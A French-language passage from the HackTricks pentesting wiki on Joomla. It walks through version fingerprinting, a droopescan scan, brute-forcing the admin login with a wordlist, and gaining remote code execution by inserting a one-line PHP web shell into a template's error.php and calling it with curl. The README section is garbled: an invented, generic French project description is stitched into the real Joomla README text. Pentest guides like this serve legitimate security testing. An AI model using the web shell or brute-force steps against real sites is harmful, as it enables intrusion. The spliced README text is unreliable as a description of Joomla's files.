hacktricks/network-services-pentesting/pentesting-web/joomla.md
2023-06-03 13:10:46 +00:00

6.8 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Statistiques de Joomla

Joomla collecte des statistiques d'utilisation anonymes telles que la répartition des versions de Joomla, PHP et de la base de données et des systèmes d'exploitation de serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur API publique.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 6.33,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 12.24,
            "3.6": 22.85,
            "3.7": 7.99,
            "3.8": 17.72,
            "3.9": 27.24,
            "4.0": 3.21,
            "4.1": 1.53,
            "4.2": 0.82,
            "4.3": 0,
            "5.0": 0
        },
        "total": 2951032
    }
}

Énumération

Découverte/Recherche d'informations

  • Vérifiez les méta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

Le fichier robots.txt est un fichier texte qui indique aux robots d'exploration des moteurs de recherche les pages ou sections du site web qu'ils ne doivent pas explorer ou indexer. Il est généralement situé à la racine du site web et peut contenir des instructions pour tous les robots ou pour des robots spécifiques. Les informations contenues dans ce fichier peuvent être utiles pour les attaquants car elles peuvent révéler des sections du site web qui ne sont pas destinées au public ou des informations sensibles.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Ce fichier contient des informations importantes sur le projet. Veuillez le lire attentivement avant de continuer.

Introduction

Ce projet est une application web basée sur Joomla. Joomla est un système de gestion de contenu (CMS) open source populaire qui permet de créer des sites web dynamiques et puissants.

Objectif

L'objectif de ce projet est de tester la sécurité de l'application Joomla en utilisant des techniques de piratage éthique. Nous allons explorer les vulnérabilités courantes et les failles de sécurité dans Joomla et proposer des solutions pour les corriger.

Installation

Pour installer l'application Joomla, suivez les instructions fournies dans le fichier INSTALL.txt.

Utilisation

Une fois l'application installée, vous pouvez accéder à l'interface utilisateur en ouvrant un navigateur web et en entrant l'URL de l'application. Vous pouvez ensuite vous connecter en utilisant les identifiants d'administrateur fournis lors de l'installation.

Contribution

Si vous souhaitez contribuer à ce projet, veuillez consulter le fichier CONTRIBUTING.md pour obtenir des instructions sur la façon de soumettre des modifications.

Licence

Ce projet est sous licence MIT. Veuillez consulter le fichier LICENSE.txt pour plus d'informations.

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • Dans /administrator/manifests/files/joomla.xml, vous pouvez voir la version.
  • Dans /language/en-GB/en-GB.xml, vous pouvez obtenir la version de Joomla.
  • Dans plugins/system/cache/cache.xml, vous pouvez voir une version approximative.

Automatique

droopescan scan joomla --url http://joomla-site.local/

Dans la section 80,443 - Méthodologie de test d'intrusion Web, il y a des scanners CMS qui peuvent scanner Joomla.

Brute-Force

Vous pouvez utiliser ce script pour tenter une attaque de force brute sur la connexion.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
admin:admin

RCE

Si vous avez réussi à obtenir les identifiants d'administrateur, vous pouvez effectuer une RCE à l'intérieur en ajoutant un extrait de code PHP pour obtenir une RCE. Nous pouvons le faire en personnalisant un modèle.

  1. Cliquez sur Templates en bas à gauche sous Configuration pour afficher le menu des modèles.
  2. Cliquez sur un nom de modèle. Choisissons protostar sous l'en-tête de colonne Template. Cela nous amènera à la page Templates: Customise.
  3. Enfin, vous pouvez cliquer sur une page pour afficher la source de la page. Choisissons la page error.php. Nous ajouterons une ligne de code PHP pour obtenir une exécution de code comme suit :
    1. system($_GET['cmd']);
  4. Enregistrer et fermer
  5. curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id